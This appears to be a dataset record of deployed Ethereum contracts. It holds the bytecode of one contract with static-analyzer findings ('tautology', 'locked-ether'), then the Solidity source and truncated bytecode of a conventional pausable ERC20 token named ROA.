ffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60046020528060005260406000206000915090505481565b601281565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60066020528060005260406000206000915054906101000a900460ff1681565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114757600080fd5b600360009054906101000a900460ff1615151561116357600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156111b157600080fd5b33905061120683600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061125e836000546126d290919063ffffffff16565b600081905550611279836002546126eb90919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139957600080fd5b6000600360006101000a81548160ff021916908315150217905550565b670de0b6b3a764000081565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600360009054906101000a900460ff1615151561146057600080fd5b808311156114ef576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611583565b61150283826126d290919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171457600080fd5b600360009054906101000a900460ff1615151561173057600080fd5b6000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183557600080fd5b6001600360016101000a81548160ff021916908315150217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ae57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198b57600080fd5b6001600360006101000a81548160ff021916908315150217905550565b6040805190810160405280600381526020017f4a4942000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900460ff161515156119ff57600080fd5b600360019054906101000a900460ff16158015611a225750611a2033611072565b155b15611a305760009050611cc5565b6000821415611aa7578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611cc5565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ae357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b3157600080fd5b611b8382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126eb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600360009054906101000a900460ff16151515611cea57600080fd5b849050611cf78585610a6a565b15611e61578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611df1578082015181840152602081019050611dd6565b50505050905090810190601f168015611e1e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e4057600080fd5b505af1158015611e54573d6000803e3d6000fd5b5050505060019150611e62565b5b509392505050565b6000600360009054906101000a900460ff16151515611e8857600080fd5b611f1782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126eb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60025481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120e657600080fd5b600360009054906101000a900460ff1615151561210257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121c757600080fd5b505af11580156121db573d6000803e3d6000fd5b505050506040513d60208110156121f157600080fd5b8101908080519060200190929190505050905092915050565b6000600360009054906101000a900460ff1615151561222857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122925750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b151561229d57600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561237e57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561243557600080fd5b600360009054906101000a900460ff1615151561245157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561248d57600080fd5b61254060046000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126eb90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060046000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a350565b60008282111515156126e057fe5b818303905092915050565b600081830190508281101515156126fe57fe5b809050929150505600a165627a7a7230582054d121c437e4af12cc425e5f80c0a04993c110393b9de75f0129ee8ac5da69880029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,117
0xb3b31a7cdd980375b30e1c9d11be918cb74e770c
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract ROA is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Burn(address indexed from, uint256 value); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ROA() public { symbol = "ROA"; name = "NeoWorld Rare Ore A"; decimals = 18; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function burn(uint256 _value) public onlyOwner returns (bool) { require (_value > 0); require (balanceOf(msg.sender) >= _value); // Check if the sender has enough balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender _totalSupply = _totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bb57806318160ddd1461021557806323b872dd1461023e578063313ce567146102b75780633eaaf86b146102e65780633f4ba83a1461030f57806342966c681461033c5780635c975abb1461037757806366188463146103a457806370a08231146103fe57806379ba50971461044b5780638456cb59146104605780638da5cb5b1461048d57806395d89b41146104e2578063a9059cbb14610570578063cae9ca51146105ca578063d4ee1d9014610667578063d73dd623146106bc578063dc39d06d14610716578063dd62ed3e14610770578063f2fde38b146107dc575b600080fd5b341561013857600080fd5b610140610815565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610180578082015181840152602081019050610165565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b3565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b6102286109c1565b6040518082815260200191505060405180910390f35b341561024957600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a0c565b604051808215151515815260200191505060405180910390f35b34156102c257600080fd5b6102ca610cd3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f157600080fd5b6102f9610ce6565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610cec565b604051808215151515815260200191505060405180910390f35b341561034757600080fd5b61035d6004808035906020019091905050610db2565b604051808215151515815260200191505060405180910390f35b341561038257600080fd5b61038a610f05565b604051808215151515815260200191505060405180910390f35b34156103af57600080fd5b6103e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f18565b604051808215151515815260200191505060405180910390f35b341561040957600080fd5b610435600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c5565b6040518082815260200191505060405180910390f35b341561045657600080fd5b61045e61120e565b005b341561046b57600080fd5b6104736113ad565b604051808215151515815260200191505060405180910390f35b341561049857600080fd5b6104a0611473565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f5611498565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057b57600080fd5b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611536565b604051808215151515815260200191505060405180910390f35b34156105d557600080fd5b61064d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506116ed565b604051808215151515815260200191505060405180910390f35b341561067257600080fd5b61067a61194f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c757600080fd5b6106fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611975565b604051808215151515815260200191505060405180910390f35b341561072157600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b8d565b604051808215151515815260200191505060405180910390f35b341561077b57600080fd5b6107c6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ccc565b6040518082815260200191505060405180910390f35b34156107e757600080fd5b610813600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d53565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b505050505081565b6000600160149054906101000a900460ff161515156108d157600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000600160149054906101000a900460ff16151515610a2a57600080fd5b610a7c82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600160149054906101000a900460ff161515610d6457600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0f57600080fd5b600082111515610e1e57600080fd5b81610e28336111c5565b10151515610e3557600080fd5b610e5082610e42336111c5565b611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea882600554611df290919063ffffffff16565b6005819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600160149054906101000a900460ff1681565b600080600160149054906101000a900460ff16151515610f3757600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611045576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d9565b6110588382611df290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140a57600080fd5b600160149054906101000a900460ff1615151561142657600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561152e5780601f106115035761010080835404028352916020019161152e565b820191906000526020600020905b81548152906001019060200180831161151157829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615151561155457600080fd5b6115a682600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615151561170b57600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118e65780820151818401526020810190506118cb565b50505050905090810190601f1680156119135780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561193457600080fd5b5af1151561194157600080fd5b505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160149054906101000a900460ff1615151561199357600080fd5b611a2282600760003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff